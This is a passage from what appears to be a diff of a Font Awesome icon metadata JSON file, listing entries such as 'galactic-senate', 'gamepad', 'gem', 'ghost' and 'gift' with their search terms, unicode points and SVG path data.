58.67c-8.25-5.49-17.57-9.47-27.62-11.5V96.58h-31zm183.24 30.72l-17.36 17.36a186.337 186.337 0 0 1 34.67 83.67h24.62c-4.95-37.69-19.83-72.29-41.93-101.03zm-335.55.13c-22.06 28.72-36.91 63.26-41.85 100.91h24.65c4.6-30.96 16.76-59.45 34.59-83.52l-17.39-17.39zM38.34 283.67c4.92 37.64 19.75 72.18 41.8 100.9l17.36-17.39c-17.81-24.07-29.92-52.57-34.51-83.52H38.34zm394.7 0c-4.61 30.99-16.8 59.5-34.67 83.6l17.36 17.36c22.08-28.74 36.98-63.29 41.93-100.96h-24.62zM136.66 406.38l-17.36 17.36c28.73 22.09 63.3 36.98 100.96 41.93v-24.64c-30.99-4.63-59.53-16.79-83.6-34.65zm222.53.05c-24.09 17.84-52.58 30.08-83.57 34.67v24.57c37.67-4.92 72.21-19.79 100.96-41.85l-17.31-17.39h-.08z" + } + }, + "free": [ + "brands" + ] + }, + "galactic-senate": { + "changes": [ + "5.0.12" + ], + "ligatures": [], + "search": { + "terms": [ + "star wars" + ] + }, + "styles": [ + "brands" + ], + "unicode": "f50d", + "label": "Galactic Senate", + "voted": false, + "svg": { + "brands": { + "last_modified": 1546440860990, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M249.86 33.48v26.07C236.28 80.17 226 168.14 225.39 274.9c11.74-15.62 19.13-33.33 19.13-48.24v-16.88c-.03-5.32.75-10.53 2.19-15.65.65-2.14 1.39-4.08 2.62-5.82 1.23-1.75 3.43-3.79 6.68-3.79 3.24 0 5.45 2.05 6.68 3.79 1.23 1.75 1.97 3.68 2.62 5.82 1.44 5.12 2.22 10.33 2.19 15.65v16.88c0 14.91 7.39 32.62 19.13 48.24-.63-106.76-10.91-194.73-24.49-215.35V33.48h-12.28zm-26.34 147.77c-9.52 2.15-18.7 5.19-27.46 9.08 8.9 16.12 9.76 32.64 1.71 37.29-8 4.62-21.85-4.23-31.36-19.82-11.58 8.79-21.88 19.32-30.56 31.09 14.73 9.62 22.89 22.92 18.32 30.66-4.54 7.7-20.03 7.14-35.47-.96-5.78 13.25-9.75 27.51-11.65 42.42 9.68.18 18.67 2.38 26.18 6.04 17.78-.3 32.77-1.96 40.49-4.22 5.55-26.35 23.02-48.23 46.32-59.51.73-25.55 1.88-49.67 3.48-72.07zm64.96 0c1.59 22.4 2.75 46.52 3.47 72.07 23.29 11.28 40.77 33.16 46.32 59.51 7.72 2.26 22.71 3.92 40.49 4.22 7.51-3.66 16.5-5.85 26.18-6.04-1.9-14.91-5.86-29.17-11.65-42.42-15.44 8.1-30.93 8.66-35.47.96-4.57-7.74 3.6-21.05 18.32-30.66-8.68-11.77-18.98-22.3-30.56-31.09-9.51 15.59-23.36 24.44-31.36 19.82-8.05-4.65-7.19-21.16 1.71-37.29a147.49 147.49 0 0 0-27.45-9.08zm-32.48 8.6c-3.23 0-5.86 8.81-6.09 19.93h-.05v16.88c0 41.42-49.01 95.04-93.49 95.04-52 0-122.75-1.45-156.37 29.17v2.51c9.42 17.12 20.58 33.17 33.18 47.97C45.7 380.26 84.77 360.4 141.2 360c45.68 1.02 79.03 20.33 90.76 40.87.01.01-.01.04 0 .05 7.67 2.14 15.85 3.23 24.04 3.21 8.19.02 16.37-1.07 24.04-3.21.01-.01-.01-.04 0-.05 11.74-20.54 45.08-39.85 90.76-40.87 56.43.39 95.49 20.26 108.02 41.35 12.6-14.8 23.76-30.86 33.18-47.97v-2.51c-33.61-30.62-104.37-29.17-156.37-29.17-44.48 0-93.49-53.62-93.49-95.04v-16.88h-.05c-.23-11.12-2.86-19.93-6.09-19.93zm0 96.59c22.42 0 40.6 18.18 40.6 40.6s-18.18 40.65-40.6 40.65-40.6-18.23-40.6-40.65c0-22.42 18.18-40.6 40.6-40.6zm0 7.64c-18.19 0-32.96 14.77-32.96 32.96S237.81 360 256 360s32.96-14.77 32.96-32.96-14.77-32.96-32.96-32.96zm0 6.14c14.81 0 26.82 12.01 26.82 26.82s-12.01 26.82-26.82 26.82-26.82-12.01-26.82-26.82 12.01-26.82 26.82-26.82zm-114.8 66.67c-10.19.07-21.6.36-30.5 1.66.43 4.42 1.51 18.63 7.11 29.76 9.11-2.56 18.36-3.9 27.62-3.9 41.28.94 71.48 34.35 78.26 74.47l.11 4.7c10.4 1.91 21.19 2.94 32.21 2.94 11.03 0 21.81-1.02 32.21-2.94l.11-4.7c6.78-40.12 36.98-73.53 78.26-74.47 9.26 0 18.51 1.34 27.62 3.9 5.6-11.13 6.68-25.34 7.11-29.76-8.9-1.3-20.32-1.58-30.5-1.66-18.76.42-35.19 4.17-48.61 9.67-12.54 16.03-29.16 30.03-49.58 33.07-.09.02-.17.04-.27.05-.05.01-.11.04-.16.05-5.24 1.07-10.63 1.6-16.19 1.6-5.55 0-10.95-.53-16.19-1.6-.05-.01-.11-.04-.16-.05-.1-.02-.17-.04-.27-.05-20.42-3.03-37.03-17.04-49.58-33.07-13.42-5.49-29.86-9.25-48.61-9.67z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M249.86 33.48v26.07C236.28 80.17 226 168.14 225.39 274.9c11.74-15.62 19.13-33.33 19.13-48.24v-16.88c-.03-5.32.75-10.53 2.19-15.65.65-2.14 1.39-4.08 2.62-5.82 1.23-1.75 3.43-3.79 6.68-3.79 3.24 0 5.45 2.05 6.68 3.79 1.23 1.75 1.97 3.68 2.62 5.82 1.44 5.12 2.22 10.33 2.19 15.65v16.88c0 14.91 7.39 32.62 19.13 48.24-.63-106.76-10.91-194.73-24.49-215.35V33.48h-12.28zm-26.34 147.77c-9.52 2.15-18.7 5.19-27.46 9.08 8.9 16.12 9.76 32.64 1.71 37.29-8 4.62-21.85-4.23-31.36-19.82-11.58 8.79-21.88 19.32-30.56 31.09 14.73 9.62 22.89 22.92 18.32 30.66-4.54 7.7-20.03 7.14-35.47-.96-5.78 13.25-9.75 27.51-11.65 42.42 9.68.18 18.67 2.38 26.18 6.04 17.78-.3 32.77-1.96 40.49-4.22 5.55-26.35 23.02-48.23 46.32-59.51.73-25.55 1.88-49.67 3.48-72.07zm64.96 0c1.59 22.4 2.75 46.52 3.47 72.07 23.29 11.28 40.77 33.16 46.32 59.51 7.72 2.26 22.71 3.92 40.49 4.22 7.51-3.66 16.5-5.85 26.18-6.04-1.9-14.91-5.86-29.17-11.65-42.42-15.44 8.1-30.93 8.66-35.47.96-4.57-7.74 3.6-21.05 18.32-30.66-8.68-11.77-18.98-22.3-30.56-31.09-9.51 15.59-23.36 24.44-31.36 19.82-8.05-4.65-7.19-21.16 1.71-37.29a147.49 147.49 0 0 0-27.45-9.08zm-32.48 8.6c-3.23 0-5.86 8.81-6.09 19.93h-.05v16.88c0 41.42-49.01 95.04-93.49 95.04-52 0-122.75-1.45-156.37 29.17v2.51c9.42 17.12 20.58 33.17 33.18 47.97C45.7 380.26 84.77 360.4 141.2 360c45.68 1.02 79.03 20.33 90.76 40.87.01.01-.01.04 0 .05 7.67 2.14 15.85 3.23 24.04 3.21 8.19.02 16.37-1.07 24.04-3.21.01-.01-.01-.04 0-.05 11.74-20.54 45.08-39.85 90.76-40.87 56.43.39 95.49 20.26 108.02 41.35 12.6-14.8 23.76-30.86 33.18-47.97v-2.51c-33.61-30.62-104.37-29.17-156.37-29.17-44.48 0-93.49-53.62-93.49-95.04v-16.88h-.05c-.23-11.12-2.86-19.93-6.09-19.93zm0 96.59c22.42 0 40.6 18.18 40.6 40.6s-18.18 40.65-40.6 40.65-40.6-18.23-40.6-40.65c0-22.42 18.18-40.6 40.6-40.6zm0 7.64c-18.19 0-32.96 14.77-32.96 32.96S237.81 360 256 360s32.96-14.77 32.96-32.96-14.77-32.96-32.96-32.96zm0 6.14c14.81 0 26.82 12.01 26.82 26.82s-12.01 26.82-26.82 26.82-26.82-12.01-26.82-26.82 12.01-26.82 26.82-26.82zm-114.8 66.67c-10.19.07-21.6.36-30.5 1.66.43 4.42 1.51 18.63 7.11 29.76 9.11-2.56 18.36-3.9 27.62-3.9 41.28.94 71.48 34.35 78.26 74.47l.11 4.7c10.4 1.91 21.19 2.94 32.21 2.94 11.03 0 21.81-1.02 32.21-2.94l.11-4.7c6.78-40.12 36.98-73.53 78.26-74.47 9.26 0 18.51 1.34 27.62 3.9 5.6-11.13 6.68-25.34 7.11-29.76-8.9-1.3-20.32-1.58-30.5-1.66-18.76.42-35.19 4.17-48.61 9.67-12.54 16.03-29.16 30.03-49.58 33.07-.09.02-.17.04-.27.05-.05.01-.11.04-.16.05-5.24 1.07-10.63 1.6-16.19 1.6-5.55 0-10.95-.53-16.19-1.6-.05-.01-.11-.04-.16-.05-.1-.02-.17-.04-.27-.05-20.42-3.03-37.03-17.04-49.58-33.07-13.42-5.49-29.86-9.25-48.61-9.67z" + } + }, + "free": [ + "brands" + ] + }, + "gamepad": { + "changes": [ + "3.1", + "5.0.0", + "5.11.0" + ], + "ligatures": [], + "search": { + "terms": [ + "arcade", + "controller", + "d-pad", + "joystick", + "video", + "video game" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f11b", + "label": "Gamepad", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635500, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M480.07 96H160a160 160 0 1 0 114.24 272h91.52A160 160 0 1 0 480.07 96zM248 268a12 12 0 0 1-12 12h-52v52a12 12 0 0 1-12 12h-24a12 12 0 0 1-12-12v-52H84a12 12 0 0 1-12-12v-24a12 12 0 0 1 12-12h52v-52a12 12 0 0 1 12-12h24a12 12 0 0 1 12 12v52h52a12 12 0 0 1 12 12zm216 76a40 40 0 1 1 40-40 40 40 0 0 1-40 40zm64-96a40 40 0 1 1 40-40 40 40 0 0 1-40 40z\"/></svg>", + "viewBox": [ + "0", + "0", + "640", + "512" + ], + "width": 640, + "height": 512, + "path": "M480.07 96H160a160 160 0 1 0 114.24 272h91.52A160 160 0 1 0 480.07 96zM248 268a12 12 0 0 1-12 12h-52v52a12 12 0 0 1-12 12h-24a12 12 0 0 1-12-12v-52H84a12 12 0 0 1-12-12v-24a12 12 0 0 1 12-12h52v-52a12 12 0 0 1 12-12h24a12 12 0 0 1 12 12v52h52a12 12 0 0 1 12 12zm216 76a40 40 0 1 1 40-40 40 40 0 0 1-40 40zm64-96a40 40 0 1 1 40-40 40 40 0 0 1-40 40z" + } + }, + "free": [ + "solid" + ] + }, + "gas-pump": { + "changes": [ + "5.0.13", + "5.10.1" + ], + "ligatures": [], + "search": { + "terms": [ + "car", + "fuel", + "gasoline", + "petrol" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f52f", + "label": "Gas Pump", + "voted": true, + "svg": { + "solid": { + "last_modified": 1628088635502, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M336 448H16c-8.8 0-16 7.2-16 16v32c0 8.8 7.2 16 16 16h320c8.8 0 16-7.2 16-16v-32c0-8.8-7.2-16-16-16zm157.2-340.7l-81-81c-6.2-6.2-16.4-6.2-22.6 0l-11.3 11.3c-6.2 6.2-6.2 16.4 0 22.6L416 97.9V160c0 28.1 20.9 51.3 48 55.2V376c0 13.2-10.8 24-24 24s-24-10.8-24-24v-32c0-48.6-39.4-88-88-88h-8V64c0-35.3-28.7-64-64-64H96C60.7 0 32 28.7 32 64v352h288V304h8c22.1 0 40 17.9 40 40v27.8c0 37.7 27 72 64.5 75.9 43 4.3 79.5-29.5 79.5-71.7V152.6c0-17-6.8-33.3-18.8-45.3zM256 192H96V64h160v128z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M336 448H16c-8.8 0-16 7.2-16 16v32c0 8.8 7.2 16 16 16h320c8.8 0 16-7.2 16-16v-32c0-8.8-7.2-16-16-16zm157.2-340.7l-81-81c-6.2-6.2-16.4-6.2-22.6 0l-11.3 11.3c-6.2 6.2-6.2 16.4 0 22.6L416 97.9V160c0 28.1 20.9 51.3 48 55.2V376c0 13.2-10.8 24-24 24s-24-10.8-24-24v-32c0-48.6-39.4-88-88-88h-8V64c0-35.3-28.7-64-64-64H96C60.7 0 32 28.7 32 64v352h288V304h8c22.1 0 40 17.9 40 40v27.8c0 37.7 27 72 64.5 75.9 43 4.3 79.5-29.5 79.5-71.7V152.6c0-17-6.8-33.3-18.8-45.3zM256 192H96V64h160v128z" + } + }, + "free": [ + "solid" + ] + }, + "gavel": { + "changes": [ + "2", + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [ + "hammer", + "judge", + "law", + "lawyer", + "opinion" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f0e3", + "label": "Gavel", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635502, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M504.971 199.362l-22.627-22.627c-9.373-9.373-24.569-9.373-33.941 0l-5.657 5.657L329.608 69.255l5.657-5.657c9.373-9.373 9.373-24.569 0-33.941L312.638 7.029c-9.373-9.373-24.569-9.373-33.941 0L154.246 131.48c-9.373 9.373-9.373 24.569 0 33.941l22.627 22.627c9.373 9.373 24.569 9.373 33.941 0l5.657-5.657 39.598 39.598-81.04 81.04-5.657-5.657c-12.497-12.497-32.758-12.497-45.255 0L9.373 412.118c-12.497 12.497-12.497 32.758 0 45.255l45.255 45.255c12.497 12.497 32.758 12.497 45.255 0l114.745-114.745c12.497-12.497 12.497-32.758 0-45.255l-5.657-5.657 81.04-81.04 39.598 39.598-5.657 5.657c-9.373 9.373-9.373 24.569 0 33.941l22.627 22.627c9.373 9.373 24.569 9.373 33.941 0l124.451-124.451c9.372-9.372 9.372-24.568 0-33.941z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M504.971 199.362l-22.627-22.627c-9.373-9.373-24.569-9.373-33.941 0l-5.657 5.657L329.608 69.255l5.657-5.657c9.373-9.373 9.373-24.569 0-33.941L312.638 7.029c-9.373-9.373-24.569-9.373-33.941 0L154.246 131.48c-9.373 9.373-9.373 24.569 0 33.941l22.627 22.627c9.373 9.373 24.569 9.373 33.941 0l5.657-5.657 39.598 39.598-81.04 81.04-5.657-5.657c-12.497-12.497-32.758-12.497-45.255 0L9.373 412.118c-12.497 12.497-12.497 32.758 0 45.255l45.255 45.255c12.497 12.497 32.758 12.497 45.255 0l114.745-114.745c12.497-12.497 12.497-32.758 0-45.255l-5.657-5.657 81.04-81.04 39.598 39.598-5.657 5.657c-9.373 9.373-9.373 24.569 0 33.941l22.627 22.627c9.373 9.373 24.569 9.373 33.941 0l124.451-124.451c9.372-9.372 9.372-24.568 0-33.941z" + } + }, + "free": [ + "solid" + ] + }, + "gem": { + "changes": [ + "5.0.0", + "5.10.1" + ], + "ligatures": [], + "search": { + "terms": [ + "diamond", + "jewelry", + "sapphire", + "stone", + "treasure" + ] + }, + "styles": [ + "solid", + "regular" + ], + "unicode": "f3a5", + "label": "Gem", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635503, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M485.5 0L576 160H474.9L405.7 0h79.8zm-128 0l69.2 160H149.3L218.5 0h139zm-267 0h79.8l-69.2 160H0L90.5 0zM0 192h100.7l123 251.7c1.5 3.1-2.7 5.9-5 3.3L0 192zm148.2 0h279.6l-137 318.2c-1 2.4-4.5 2.4-5.5 0L148.2 192zm204.1 251.7l123-251.7H576L357.3 446.9c-2.3 2.7-6.5-.1-5-3.2z\"/></svg>", + "viewBox": [ + "0", + "0", + "576", + "512" + ], + "width": 576, + "height": 512, + "path": "M485.5 0L576 160H474.9L405.7 0h79.8zm-128 0l69.2 160H149.3L218.5 0h139zm-267 0h79.8l-69.2 160H0L90.5 0zM0 192h100.7l123 251.7c1.5 3.1-2.7 5.9-5 3.3L0 192zm148.2 0h279.6l-137 318.2c-1 2.4-4.5 2.4-5.5 0L148.2 192zm204.1 251.7l123-251.7H576L357.3 446.9c-2.3 2.7-6.5-.1-5-3.2z" + }, + "regular": { + "last_modified": 1628088634827, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M464 0H112c-4 0-7.8 2-10 5.4L2 152.6c-2.9 4.4-2.6 10.2.7 14.2l276 340.8c4.8 5.9 13.8 5.9 18.6 0l276-340.8c3.3-4.1 3.6-9.8.7-14.2L474.1 5.4C471.8 2 468.1 0 464 0zm-19.3 48l63.3 96h-68.4l-51.7-96h56.8zm-202.1 0h90.7l51.7 96H191l51.6-96zm-111.3 0h56.8l-51.7 96H68l63.3-96zm-43 144h51.4L208 352 88.3 192zm102.9 0h193.6L288 435.3 191.2 192zM368 352l68.2-160h51.4L368 352z\"/></svg>", + "viewBox": [ + "0", + "0", + "576", + "512" + ], + "width": 576, + "height": 512, + "path": "M464 0H112c-4 0-7.8 2-10 5.4L2 152.6c-2.9 4.4-2.6 10.2.7 14.2l276 340.8c4.8 5.9 13.8 5.9 18.6 0l276-340.8c3.3-4.1 3.6-9.8.7-14.2L474.1 5.4C471.8 2 468.1 0 464 0zm-19.3 48l63.3 96h-68.4l-51.7-96h56.8zm-202.1 0h90.7l51.7 96H191l51.6-96zm-111.3 0h56.8l-51.7 96H68l63.3-96zm-43 144h51.4L208 352 88.3 192zm102.9 0h193.6L288 435.3 191.2 192zM368 352l68.2-160h51.4L368 352z" + } + }, + "free": [ + "solid", + "regular" + ] + }, + "genderless": { + "changes": [ + "4.4", + "5.0.0", + "5.11.0", + "5.11.1" + ], + "ligatures": [], + "search": { + "terms": [ + "androgynous", + "asexual", + "sexless" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f22d", + "label": "Genderless", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635503, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 288 512\"><path d=\"M144 176c44.1 0 80 35.9 80 80s-35.9 80-80 80-80-35.9-80-80 35.9-80 80-80m0-64C64.5 112 0 176.5 0 256s64.5 144 144 144 144-64.5 144-144-64.5-144-144-144z\"/></svg>", + "viewBox": [ + "0", + "0", + "288", + "512" + ], + "width": 288, + "height": 512, + "path": "M144 176c44.1 0 80 35.9 80 80s-35.9 80-80 80-80-35.9-80-80 35.9-80 80-80m0-64C64.5 112 0 176.5 0 256s64.5 144 144 144 144-64.5 144-144-64.5-144-144-144z" + } + }, + "free": [ + "solid" + ] + }, + "get-pocket": { + "changes": [ + "4.4", + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f265", + "label": "Get Pocket", + "voted": false, + "svg": { + "brands": { + "last_modified": 1546440860990, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M407.6 64h-367C18.5 64 0 82.5 0 104.6v135.2C0 364.5 99.7 464 224.2 464c124 0 223.8-99.5 223.8-224.2V104.6c0-22.4-17.7-40.6-40.4-40.6zm-162 268.5c-12.4 11.8-31.4 11.1-42.4 0C89.5 223.6 88.3 227.4 88.3 209.3c0-16.9 13.8-30.7 30.7-30.7 17 0 16.1 3.8 105.2 89.3 90.6-86.9 88.6-89.3 105.5-89.3 16.9 0 30.7 13.8 30.7 30.7 0 17.8-2.9 15.7-114.8 123.2z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M407.6 64h-367C18.5 64 0 82.5 0 104.6v135.2C0 364.5 99.7 464 224.2 464c124 0 223.8-99.5 223.8-224.2V104.6c0-22.4-17.7-40.6-40.4-40.6zm-162 268.5c-12.4 11.8-31.4 11.1-42.4 0C89.5 223.6 88.3 227.4 88.3 209.3c0-16.9 13.8-30.7 30.7-30.7 17 0 16.1 3.8 105.2 89.3 90.6-86.9 88.6-89.3 105.5-89.3 16.9 0 30.7 13.8 30.7 30.7 0 17.8-2.9 15.7-114.8 123.2z" + } + }, + "free": [ + "brands" + ] + }, + "gg": { + "changes": [ + "4.4", + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f260", + "label": "GG Currency", + "voted": false, + "svg": { + "brands": { + "last_modified": 1546440860991, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M179.2 230.4l102.4 102.4-102.4 102.4L0 256 179.2 76.8l44.8 44.8-25.6 25.6-19.2-19.2-128 128 128 128 51.5-51.5-77.1-76.5 25.6-25.6zM332.8 76.8L230.4 179.2l102.4 102.4 25.6-25.6-77.1-76.5 51.5-51.5 128 128-128 128-19.2-19.2-25.6 25.6 44.8 44.8L512 256 332.8 76.8z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M179.2 230.4l102.4 102.4-102.4 102.4L0 256 179.2 76.8l44.8 44.8-25.6 25.6-19.2-19.2-128 128 128 128 51.5-51.5-77.1-76.5 25.6-25.6zM332.8 76.8L230.4 179.2l102.4 102.4 25.6-25.6-77.1-76.5 51.5-51.5 128 128-128 128-19.2-19.2-25.6 25.6 44.8 44.8L512 256 332.8 76.8z" + } + }, + "free": [ + "brands" + ] + }, + "gg-circle": { + "changes": [ + "4.4", + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f261", + "label": "GG Currency Circle", + "voted": false, + "svg": { + "brands": { + "last_modified": 1546440860990, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M257 8C120 8 9 119 9 256s111 248 248 248 248-111 248-248S394 8 257 8zm-49.5 374.8L81.8 257.1l125.7-125.7 35.2 35.4-24.2 24.2-11.1-11.1-77.2 77.2 77.2 77.2 26.6-26.6-53.1-52.9 24.4-24.4 77.2 77.2-75 75.2zm99-2.2l-35.2-35.2 24.1-24.4 11.1 11.1 77.2-77.2-77.2-77.2-26.5 26.5 53.1 52.9-24.4 24.4-77.2-77.2 75-75L432.2 255 306.5 380.6z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M257 8C120 8 9 119 9 256s111 248 248 248 248-111 248-248S394 8 257 8zm-49.5 374.8L81.8 257.1l125.7-125.7 35.2 35.4-24.2 24.2-11.1-11.1-77.2 77.2 77.2 77.2 26.6-26.6-53.1-52.9 24.4-24.4 77.2 77.2-75 75.2zm99-2.2l-35.2-35.2 24.1-24.4 11.1 11.1 77.2-77.2-77.2-77.2-26.5 26.5 53.1 52.9-24.4 24.4-77.2-77.2 75-75L432.2 255 306.5 380.6z" + } + }, + "free": [ + "brands" + ] + }, + "ghost": { + "changes": [ + "5.4.0" + ], + "ligatures": [], + "search": { + "terms": [ + "apparition", + "blinky", + "clyde", + "floating", + "halloween", + "holiday", + "inky", + "pinky", + "spirit" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f6e2", + "label": "Ghost", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635503, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M186.1.09C81.01 3.24 0 94.92 0 200.05v263.92c0 14.26 17.23 21.39 27.31 11.31l24.92-18.53c6.66-4.95 16-3.99 21.51 2.21l42.95 48.35c6.25 6.25 16.38 6.25 22.63 0l40.72-45.85c6.37-7.17 17.56-7.17 23.92 0l40.72 45.85c6.25 6.25 16.38 6.25 22.63 0l42.95-48.35c5.51-6.2 14.85-7.17 21.51-2.21l24.92 18.53c10.08 10.08 27.31 2.94 27.31-11.31V192C384 84 294.83-3.17 186.1.09zM128 224c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32zm128 0c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32z\"/></svg>", + "viewBox": [ + "0", + "0", + "384", + "512" + ], + "width": 384, + "height": 512, + "path": "M186.1.09C81.01 3.24 0 94.92 0 200.05v263.92c0 14.26 17.23 21.39 27.31 11.31l24.92-18.53c6.66-4.95 16-3.99 21.51 2.21l42.95 48.35c6.25 6.25 16.38 6.25 22.63 0l40.72-45.85c6.37-7.17 17.56-7.17 23.92 0l40.72 45.85c6.25 6.25 16.38 6.25 22.63 0l42.95-48.35c5.51-6.2 14.85-7.17 21.51-2.21l24.92 18.53c10.08 10.08 27.31 2.94 27.31-11.31V192C384 84 294.83-3.17 186.1.09zM128 224c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32zm128 0c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32z" + } + }, + "free": [ + "solid" + ] + }, + "gift": { + "changes": [ + "1", + "5.0.0", + "5.0.9", + "5.6.0" + ], + "ligatures": [], + "search": { + "terms": [ + "christmas", + "generosity", + "giving", + "holiday", + "party", + "present", + "wrapped", + "xmas" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f06b", + "label": "gift", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635504, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M32 448c0 17.7 14.3 32 32 32h160V320H32v128zm256 32h160c17.7 0 32-14.3 32-32V320H288v160zm192-320h-42.1c6.2-12.1 10.1-25.5 10.1-40 0-48.5-39.5-88-88-88-41.6 0-68.5 21.3-103 68.3-34.5-47-61.4-68.3-103-68.3-48.5 0-88 39.5-88 88 0 14.5 3.8 27.9 10.1 40H32c-17.7 0-32 14.3-32 32v80c0 8.8 7.2 16 16 16h480c8.8 0 16-7.2 16-16v-80c0-17.7-14.3-32-32-32zm-326.1 0c-22.1 0-40-17.9-40-40s17.9-40 40-40c19.9 0 34.6 3.3 86.1 80h-86.1zm206.1 0h-86.1c51.4-76.5 65.7-80 86.1-80 22.1 0 40 17.9 40 40s-17.9 40-40 40z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M32 448c0 17.7 14.3 32 32 32h160V320H32v128zm256 32h160c17.7 0 32-14.3 32-32V320H288v160zm192-320h-42.1c6.2-12.1 10.1-25.5 10.1-40 0-48.5-39.5-88-88-88-41.6 0-68.5 21.3-103 68.3-34.5-47-61.4-68.3-103-68.3-48.5 0-88 39.5-88 88 0 14.5 3.8 27.9 10.1 40H32c-17.7 0-32 14.3-32 32v80c0 8.8 7.2 16 16 16h480c8.8 0 16-7.2 16-16v-80c0-17.7-14.3-32-32-32zm-326.1 0c-22.1 0-40-17.9-40-40s17.9-40 40-40c19.9 0 34.6 3.3 86.1 80h-86.1zm206.1 0h-86.1c51.4-76.5 65.7-80 86.1-80 22.1 0 40 17.9 40 40s-17.9 40-40 40z" + } + }, + "free": [ + "solid" + ] + }, + "gifts": { + "changes": [ + "5.6.0" + ], + "ligatures": [], + "search": { + "terms": [ + "christmas", + "generosity", + "giving", + "holiday", + "party", + "present", + "wrapped", + "xmas" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f79c", + "label": "Gifts", + "svg": { + "solid": { + "last_modified": 1628088635504, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M240.6 194.1c1.9-30.8 17.3-61.2 44-79.8C279.4 103.5 268.7 96 256 96h-29.4l30.7-22c7.2-5.1 8.9-15.1 3.7-22.3l-9.3-13c-5.1-7.2-15.1-8.9-22.3-3.7l-32 22.9 11.5-30.6c3.1-8.3-1.1-17.5-9.4-20.6l-15-5.6c-8.3-3.1-17.5 1.1-20.6 9.4l-19.9 53-19.9-53.1C121 2.1 111.8-2.1 103.5 1l-15 5.6C80.2 9.7 76 19 79.2 27.2l11.5 30.6L58.6 35c-7.2-5.1-17.2-3.5-22.3 3.7l-9.3 13c-5.1 7.2-3.5 17.2 3.7 22.3l30.7 22H32c-17.7 0-32 14.3-32 32v352c0 17.7 14.3 32 32 32h168.9c-5.5-9.5-8.9-20.3-8.9-32V256c0-29.9 20.8-55 48.6-61.9zM224 480c0 17.7 14.3 32 32 32h160V384H224v96zm224 32h160c17.7 0 32-14.3 32-32v-96H448v128zm160-288h-20.4c2.6-7.6 4.4-15.5 4.4-23.8 0-35.5-27-72.2-72.1-72.2-48.1 0-75.9 47.7-87.9 75.3-12.1-27.6-39.9-75.3-87.9-75.3-45.1 0-72.1 36.7-72.1 72.2 0 8.3 1.7 16.2 4.4 23.8H256c-17.7 0-32 14.3-32 32v96h192V224h15.3l.7-.2.7.2H448v128h192v-96c0-17.7-14.3-32-32-32zm-272 0c-2.7-1.4-5.1-3-7.2-4.8-7.3-6.4-8.8-13.8-8.8-19 0-9.7 6.4-24.2 24.1-24.2 18.7 0 35.6 27.4 44.5 48H336zm199.2-4.8c-2.1 1.8-4.5 3.4-7.2 4.8h-52.6c8.8-20.3 25.8-48 44.5-48 17.7 0 24.1 14.5 24.1 24.2 0 5.2-1.5 12.6-8.8 19z\"/></svg>", + "viewBox": [ + "0", + "0", + "640", + "512" + ], + "width": 640, + "height": 512, + "path": "M240.6 194.1c1.9-30.8 17.3-61.2 44-79.8C279.4 103.5 268.7 96 256 96h-29.4l30.7-22c7.2-5.1 8.9-15.1 3.7-22.3l-9.3-13c-5.1-7.2-15.1-8.9-22.3-3.7l-32 22.9 11.5-30.6c3.1-8.3-1.1-17.5-9.4-20.6l-15-5.6c-8.3-3.1-17.5 1.1-20.6 9.4l-19.9 53-19.9-53.1C121 2.1 